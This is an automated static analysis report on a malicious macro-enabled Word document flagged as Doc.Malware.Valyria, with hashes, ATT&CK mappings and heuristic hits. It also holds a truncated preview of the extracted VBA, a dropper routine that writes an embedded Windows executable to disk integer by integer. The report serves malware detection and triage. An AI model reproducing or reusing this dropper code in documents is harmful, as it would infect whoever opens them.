Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6ff59e26326836cd…

MALICIOUS

Office (OOXML)

7.26 MB Created: 2018-03-14 08:58:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2019-02-10
MD5: 285198480c1345e628886eb374b2b781 SHA-1: b3d40fa976d028f252e9635c27cfca3d9c0a0928 SHA-256: 6ff59e26326836cdfa9c44af17545938fcc1e559ca101f36049104b9d7d8fd8c
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, specifically a Document_Open macro that utilizes the Shell() function. This indicates an attempt to execute arbitrary code, likely to download and run a secondary payload. The ClamAV detection name 'Doc.Malware.Valyria-6714124-0' further supports its malicious nature. The document body content appears to be unrelated to the malicious functionality.

Heuristics 6

  • ClamAV: Doc.Malware.Valyria-6714124-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6714124-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/iX/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/pdf/1.3/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/rights/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://www.iec.chIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 104504 bytes
SHA-256: 24e45389b5db782cc7c1ebfbffb085d4bf11d6b735556e7ea177ce9f3f8afb9a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function FE(V As String) As Boolean
On Error Resume Next: FE = (FileLen(V) > -1)
End Function
Private Property Let Y(Value As Long)
Put #1, , Value
End Property
Private Sub CheckHash()
Y = 9460301
Y = 3
Y = 4
Y = 65535
Y = 184
Y = 0
Y = 64
For I = 1 To 8
Y = 0
Next
Y = 128
Y = 247078670
Y = -855002112
Y = 1275181089
Y = 1750344141
Y = 1881174889
Y = 1919381362
Y = 1663069537
Y = 1869508193
Y = 1700929652
Y = 1853190688
Y = 544106784
Y = 542330692
Y = 1701080941
Y = 168627502
Y = 36
Y = 0
Y = 17744
Y = 262476
Y = 1441267592
For I = 1 To 2
Y = 0
Next
Y = 16908512
Y = 721163
Y = 13312
Y = 20992
Y = 0
Y = 21118
Y = 8192
Y = 24576
Y = 4194304
Y = 8192
Y = 512
Y = 4
Y = 0
Y = 4
Y = 0
Y = 65536
Y = 1024
Y = 0
Y = -2059403262
Y = 1048576
Y = 4096
Y = 1048576
Y = 4096
Y = 0
Y = 16
For I = 1 To 2
Y = 0
Next
Y = 21036
Y = 79
Y = 32768
Y = 19632
For I = 1 To 4
Y = 0
Next
Y = 57344
Y = 12
Y = 24576
Y = 28
For I = 1 To 10
Y = 0
Next
Y = 8192
Y = 8
For I = 1 To 2
Y = 0
Next
Y = 8200
Y = 72
For I = 1 To 2
Y = 0
Next
Y = 2019914798
Y = 116
Y = 12932
Y = 8192
Y = 13312
Y = 1024
For I = 1 To 3
Y = 0
Next
Y = 1610612768
Y = 1633973038
Y = 24948
Y = 312
Y = 24576
Y = 512
Y = 14336
For I = 1 To 3
Y = 0
Next
Y = -1073741760
Y = 1920168494
Y = 99
Y = 19632
Y = 32768
Y = 19968
Y = 14848
For I = 1 To 3
Y = 0
Next
Y = 1073741888
Y = 1818587694
Y = 25455
Y = 12
Y = 57344
Y = 512
Y = 34816
For I = 1 To 3
Y = 0
Next
Y = 1107296320
For I = 1 To 122
Y = 0
Next
Y = 21088
Y = 0
Y = 72
Y = 327682
Y = 12568
Y = 8468
Y = 1
Y = 100663305
For I = 1 To 12
Y = 0
Next
Y = 1143662
Y = 142607872
Y = 1929641984
Y = 100663308
Y = 2432
Y = 176165892
Y = 704905216
Y = 274459
Y = 167
Y = 285212673
Y = 370
Y = 75888
Y = 176163328
Y = -570163200
Y = 36185358
Y = 168427520
Y = 808
Y = 2113986058
Y = 67108874
Y = 1914114605
Y = 1879048193
Y = 1139
Y = 688138
Y = 187368448
Y = 2686
Y = 356100
Y = 1915357696
Y = 1879048227
Y = 42610
Y = 294512
Y = 103285760
Y = -569769984
Y = 36185358
Y = 185204736
Y = 808
Y = 335601162
Y = 657150
Y = 124978688
Y = 336199680
Y = 256032
Y = 141759744
Y = -2146828288
Y = 67108870
Y = 185007636
Y = 1929773056
Y = 167772167
Y = 196616212
Y = 1930756096
Y = 167772168
Y = 1920
Y = 600068
Y = 2755072
Y = 7169
Y = 0
Y = 234885393
Y = 16777224
Y = 4390912
Y = 234903830
Y = 16777224
Y = 208923
Y = 44
Y = 285212674
Y = 2174
Y = 1339140
Y = 249431552
Y = 141349
Y = 671746560
Y = 167772163
Y = 108921054
Y = 537133056
Y = 1000
Y = 683797
Y = 707136000
Y = 4097
Y = 0
Y = 234884108
Y = 16777224
Y = 208923
Y = 44
Y = 285212675
Y = 2430
Y = 1011460
Y = 249431552
Y = 141349
Y = 671746560
Y = 167772163
Y = 125698270
Y = 537133056
Y = 3000
Y = 683797
Y = 707136000
Y = 4097
Y = 0
Y = 234884108
Y = 16777224
Y = 12219046
Y = 25194496
Y = 1912864768
Y = 1879048504
Y = 640
Y = 28602884
Y = 58748928
Y = 1912864768
Y = 1879048640
Y = 1152
Y = 10756
Y = 274451
Y = 83
Y = 285212676
Y = 122994
Y = 1779895152
Y = 880386
Y = 225053184
Y = 121252620
Y = 392759298
Y = 3624
Y = 993290
Y = 147982848
Y = 1058818
Y = 1483344384
Y = 542665239
Y = 256
Y = 1641176426
Y = 4392
Y = 1189898
Y = 321391104
Y = 185204736
Y = 1483347720
Y = 822675468
Y = 2754498
Y = 339987
Y = 52
Y = 285212677
Y = 1342335510
Y = 1494726542
Y = 722078570
Y = 105906722
Y = 105906793
Y = 33984873
Y = 1790414416
Y = 1483347800
Y = 65568
Y = -765629952
Y = 386309217
Y = 101341290
Y = 718942471
Y = 143379
Y = 54
Y = 285212678
Y = 122994
Y = 318901104
Y = 722277892
Y = 151261467
Y = 134679697
Y = 4392
Y = 1189898
Y = 321391104
Y
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 260096 bytes
SHA-256: 309101604fc89c6fbe3a99bc6f8bf3917c1255fe67e90a043d7dec73d48c0c53
Detection
ClamAV: Doc.Malware.Valyria-6714124-0
Obfuscation or payload: unlikely

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